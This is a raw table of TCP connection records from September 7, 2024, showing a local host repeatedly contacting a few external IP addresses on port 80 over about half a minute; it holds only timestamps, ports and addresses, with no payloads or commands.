Sep 7, 2024 15:35:16.053064108 CEST	61423	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:16.057910919 CEST	80	61423	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:16.535092115 CEST	80	61423	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:16.535146952 CEST	61423	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:16.799125910 CEST	61424	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:16.803992987 CEST	80	61424	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:16.804076910 CEST	61424	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:16.804255962 CEST	61424	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:16.808702946 CEST	61425	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:16.809206963 CEST	80	61424	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:16.809284925 CEST	61424	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:16.813862085 CEST	80	61425	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:16.813925028 CEST	61425	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:16.819772959 CEST	61425	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:16.824682951 CEST	80	61425	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:17.327594995 CEST	80	61425	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:17.327691078 CEST	80	61425	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:17.327754021 CEST	61425	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:17.327786922 CEST	61425	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:17.328380108 CEST	61423	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:17.328753948 CEST	61426	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:17.333455086 CEST	80	61423	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:17.333478928 CEST	80	61426	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:17.333518982 CEST	61423	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:17.333559990 CEST	61426	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:17.333831072 CEST	61426	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:17.338665962 CEST	80	61426	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:17.816351891 CEST	80	61426	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:17.819037914 CEST	61426	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:17.950117111 CEST	61427	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:17.954926014 CEST	80	61427	64.70.19.203	192.168.2.3
Sep 7, 2024 15:35:17.955004930 CEST	61427	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:17.955086946 CEST	61427	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:17.960259914 CEST	80	61427	64.70.19.203	192.168.2.3
Sep 7, 2024 15:35:17.960335016 CEST	61427	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:17.974416971 CEST	61428	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:17.979245901 CEST	80	61428	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:17.979329109 CEST	61428	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:17.991661072 CEST	61428	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:17.996470928 CEST	80	61428	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:18.492641926 CEST	80	61428	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:18.492659092 CEST	80	61428	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:18.492736101 CEST	61428	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:18.492805004 CEST	61428	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:18.493058920 CEST	61426	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:18.493345976 CEST	61429	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:18.498137951 CEST	80	61429	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:18.498213053 CEST	61429	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:18.498245001 CEST	80	61426	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:18.498301029 CEST	61426	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:18.499243021 CEST	61429	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:18.504004955 CEST	80	61429	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:19.003392935 CEST	80	61429	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:19.003453016 CEST	61429	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:22.954946041 CEST	61430	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:22.959840059 CEST	80	61430	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:22.959930897 CEST	61430	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:22.960108995 CEST	61430	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:22.964950085 CEST	80	61430	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:23.449069023 CEST	80	61430	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:23.449137926 CEST	61430	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:23.449234962 CEST	61430	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:23.449275970 CEST	61430	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:23.450212002 CEST	80	61430	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:23.450264931 CEST	61430	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:23.453556061 CEST	61431	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:23.459429026 CEST	80	61431	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:23.459501982 CEST	61431	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:23.460443020 CEST	61431	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:23.466379881 CEST	80	61431	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:23.942939997 CEST	80	61431	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:23.945065022 CEST	80	61431	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:23.945138931 CEST	61431	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:23.945234060 CEST	61431	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:23.975799084 CEST	61429	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:23.976298094 CEST	61432	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:23.981096983 CEST	80	61429	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:23.981264114 CEST	80	61432	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:23.981333971 CEST	61429	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:23.981384039 CEST	61432	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:23.981574059 CEST	61432	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:23.988183975 CEST	80	61432	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:24.468375921 CEST	80	61432	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:24.469878912 CEST	61432	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:25.675057888 CEST	61433	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:25.679938078 CEST	80	61433	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:25.681372881 CEST	61433	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:25.681437969 CEST	61433	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:25.685422897 CEST	61434	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:25.692549944 CEST	80	61433	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:25.692568064 CEST	80	61434	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:25.692620039 CEST	61433	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:25.692665100 CEST	61434	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:25.692785978 CEST	61434	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:25.697587013 CEST	80	61434	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:26.198714972 CEST	80	61434	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:26.198903084 CEST	61434	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:26.199101925 CEST	61432	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:26.199223042 CEST	80	61434	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:26.199332952 CEST	61434	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:26.199553013 CEST	61435	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:26.204513073 CEST	80	61432	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:26.204566002 CEST	61432	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:26.204829931 CEST	80	61435	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:26.204895020 CEST	61435	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:26.205091953 CEST	61435	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:26.210244894 CEST	80	61435	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:26.689641953 CEST	80	61435	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:26.689706087 CEST	61435	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:28.283323050 CEST	61436	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:28.288767099 CEST	80	61436	88.198.29.97	192.168.2.3
Sep 7, 2024 15:35:28.288878918 CEST	61436	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:28.289010048 CEST	61436	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:28.295054913 CEST	80	61436	88.198.29.97	192.168.2.3
Sep 7, 2024 15:35:28.295316935 CEST	61436	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:28.311099052 CEST	61437	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:28.316148043 CEST	80	61437	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:28.316231966 CEST	61437	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:28.316346884 CEST	61437	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:28.321576118 CEST	80	61437	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:28.819891930 CEST	80	61437	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:28.820044041 CEST	61437	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:28.820691109 CEST	80	61437	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:28.820738077 CEST	61437	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:28.821723938 CEST	61435	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:28.822026968 CEST	61438	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:28.826873064 CEST	80	61438	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:28.826947927 CEST	61438	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:28.826972008 CEST	80	61435	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:28.827019930 CEST	61435	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:28.827173948 CEST	61438	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:28.832205057 CEST	80	61438	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:29.328645945 CEST	80	61438	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:29.328844070 CEST	61438	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:32.020226955 CEST	61439	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:32.025609970 CEST	80	61439	64.70.19.203	192.168.2.3
Sep 7, 2024 15:35:32.030108929 CEST	61439	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:32.031207085 CEST	61439	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:32.035947084 CEST	61440	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:32.037358999 CEST	80	61439	64.70.19.203	192.168.2.3
Sep 7, 2024 15:35:32.037436008 CEST	61439	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:32.041522026 CEST	80	61440	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:32.041589022 CEST	61440	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:32.054176092 CEST	61440	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:32.059076071 CEST	80	61440	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:32.550985098 CEST	80	61440	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:32.551101923 CEST	80	61440	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:32.551198006 CEST	61440	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:32.551295996 CEST	61440	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:32.552994967 CEST	61438	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:32.553370953 CEST	61441	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:32.558605909 CEST	80	61441	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:32.558890104 CEST	80	61438	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:32.558968067 CEST	61438	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:32.558990955 CEST	61441	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:32.559194088 CEST	61441	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:32.565793037 CEST	80	61441	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:33.043735027 CEST	80	61441	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:33.043802977 CEST	61441	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:35.141483068 CEST	61442	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:35.146856070 CEST	80	61442	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:35.146925926 CEST	61442	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:35.147006035 CEST	61442	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:35.152220964 CEST	80	61442	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:35.152297020 CEST	61442	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:35.156503916 CEST	61443	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:35.161664009 CEST	80	61443	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:35.161729097 CEST	61443	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:35.161819935 CEST	61443	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:35.166771889 CEST	80	61443	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:35.661936998 CEST	80	61443	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:35.662153006 CEST	61443	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:35.662412882 CEST	80	61443	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:35.662452936 CEST	61443	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:35.664299011 CEST	61441	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:35.664585114 CEST	61444	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:35.669496059 CEST	80	61444	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:35.669574022 CEST	61444	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:35.669734001 CEST	61444	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:35.669878006 CEST	80	61441	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:35.669923067 CEST	61441	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:35.674956083 CEST	80	61444	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:36.181003094 CEST	80	61444	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:36.181066036 CEST	61444	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:39.432109118 CEST	61445	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:39.437359095 CEST	80	61445	88.198.29.97	192.168.2.3
Sep 7, 2024 15:35:39.437444925 CEST	61445	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:39.437530041 CEST	61445	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:39.442138910 CEST	61446	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:39.444516897 CEST	80	61445	88.198.29.97	192.168.2.3
Sep 7, 2024 15:35:39.444585085 CEST	61445	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:39.447607994 CEST	80	61446	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:39.447691917 CEST	61446	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:39.460474014 CEST	61446	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:39.466459990 CEST	80	61446	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:39.944184065 CEST	80	61446	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:39.944335938 CEST	61446	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:39.944792032 CEST	80	61446	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:39.944843054 CEST	61446	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:39.961834908 CEST	61444	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:39.962135077 CEST	61447	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:39.967226028 CEST	80	61447	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:39.967298985 CEST	61447	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:39.967488050 CEST	80	61444	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:39.967545986 CEST	61444	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:39.969407082 CEST	61447	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:39.974380970 CEST	80	61447	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:40.460124969 CEST	80	61447	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:40.460196018 CEST	61447	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:40.790410042 CEST	61448	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:40.795547962 CEST	80	61448	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:40.795670033 CEST	61448	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:40.795895100 CEST	61448	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:40.800904036 CEST	80	61448	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:41.302834034 CEST	80	61448	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:41.302953005 CEST	61448	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:41.302956104 CEST	80	61448	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:41.303025007 CEST	61448	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:41.304800034 CEST	61448	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:41.304836035 CEST	61448	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:41.317421913 CEST	61449	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:41.322443008 CEST	80	61449	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:41.322546959 CEST	61449	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:41.322686911 CEST	61449	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:41.327501059 CEST	80	61449	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:41.842564106 CEST	80	61449	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:41.842601061 CEST	80	61449	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:41.842732906 CEST	61449	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:41.843209028 CEST	61449	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:41.843209982 CEST	61447	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:41.843496084 CEST	61450	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:41.848337889 CEST	80	61447	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:41.848422050 CEST	61447	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:41.848530054 CEST	80	61450	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:41.848624945 CEST	61450	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:41.850671053 CEST	61450	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:41.855658054 CEST	80	61450	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:42.332756042 CEST	80	61450	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:42.332875967 CEST	61450	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:42.484425068 CEST	61451	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:42.490633011 CEST	80	61451	64.70.19.203	192.168.2.3
Sep 7, 2024 15:35:42.492116928 CEST	61451	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:42.492486000 CEST	61451	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:42.498423100 CEST	80	61451	64.70.19.203	192.168.2.3
Sep 7, 2024 15:35:42.498491049 CEST	61451	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:42.513638020 CEST	61452	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:42.518729925 CEST	80	61452	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:42.520440102 CEST	61452	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:42.520529985 CEST	61452	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:42.526525021 CEST	80	61452	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:43.004947901 CEST	80	61452	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:43.005234957 CEST	80	61452	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:43.005289078 CEST	61452	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:43.005390882 CEST	61452	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:43.022869110 CEST	61450	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:43.023230076 CEST	61453	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:43.028462887 CEST	80	61450	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:43.028512955 CEST	80	61453	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:43.028531075 CEST	61450	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:43.028573990 CEST	61453	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:43.029045105 CEST	61453	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:43.034025908 CEST	80	61453	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:43.516443014 CEST	80	61453	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:43.516510963 CEST	61453	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:44.279733896 CEST	61454	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:44.284662962 CEST	80	61454	64.70.19.203	192.168.2.3
Sep 7, 2024 15:35:44.284737110 CEST	61454	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:44.284813881 CEST	61454	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:44.290148020 CEST	61455	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:44.290579081 CEST	80	61454	64.70.19.203	192.168.2.3
Sep 7, 2024 15:35:44.290636063 CEST	61454	80	192.168.2.3	64.70.19.203
Sep 7, 2024 15:35:44.295665979 CEST	80	61455	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:44.295731068 CEST	61455	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:44.304243088 CEST	61455	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:44.309171915 CEST	80	61455	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:44.799300909 CEST	80	61455	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:44.799427986 CEST	61455	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:44.799446106 CEST	80	61455	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:44.799494982 CEST	61455	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:44.817719936 CEST	61453	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:44.818217039 CEST	61456	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:44.824742079 CEST	80	61453	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:44.824760914 CEST	80	61456	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:44.824803114 CEST	61453	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:44.824851036 CEST	61456	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:44.825073957 CEST	61456	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:44.832546949 CEST	80	61456	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:45.321513891 CEST	80	61456	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:45.321573019 CEST	61456	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:45.448719978 CEST	61457	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:45.456372976 CEST	80	61457	88.198.29.97	192.168.2.3
Sep 7, 2024 15:35:45.456438065 CEST	61457	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:45.456594944 CEST	61457	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:45.461963892 CEST	80	61457	88.198.29.97	192.168.2.3
Sep 7, 2024 15:35:45.462444067 CEST	80	61457	88.198.29.97	192.168.2.3
Sep 7, 2024 15:35:45.462495089 CEST	61457	80	192.168.2.3	88.198.29.97
Sep 7, 2024 15:35:45.464668989 CEST	61458	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:45.469788074 CEST	80	61458	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:45.469871044 CEST	61458	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:45.470038891 CEST	61458	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:45.475100040 CEST	80	61458	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:45.977639914 CEST	80	61458	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:45.977772951 CEST	61458	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:45.977844000 CEST	80	61458	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:45.978075027 CEST	61456	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:45.978090048 CEST	61458	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:45.978435040 CEST	61459	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:45.983228922 CEST	80	61456	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:45.983937979 CEST	80	61459	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:45.984014988 CEST	61456	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:45.984050035 CEST	61459	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:45.984162092 CEST	61459	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:45.989140034 CEST	80	61459	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:46.486342907 CEST	80	61459	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:46.486433983 CEST	61459	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:47.242572069 CEST	61460	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:47.247843981 CEST	80	61460	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:47.249742031 CEST	61460	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:47.257484913 CEST	61460	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:47.261236906 CEST	61461	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:47.262883902 CEST	80	61460	45.79.222.138	192.168.2.3
Sep 7, 2024 15:35:47.262959003 CEST	61460	80	192.168.2.3	45.79.222.138
Sep 7, 2024 15:35:47.266181946 CEST	80	61461	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:47.270031929 CEST	61461	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:47.270142078 CEST	61461	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:47.275547028 CEST	80	61461	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:47.767663002 CEST	80	61461	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:47.767807007 CEST	61461	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:47.768599987 CEST	80	61461	172.234.222.138	192.168.2.3
Sep 7, 2024 15:35:47.768657923 CEST	61461	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:47.769479036 CEST	61459	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:47.769859076 CEST	61462	80	192.168.2.3	172.234.222.138
Sep 7, 2024 15:35:47.774665117 CEST	80	61462	172.234.222.138	192.168.2.3
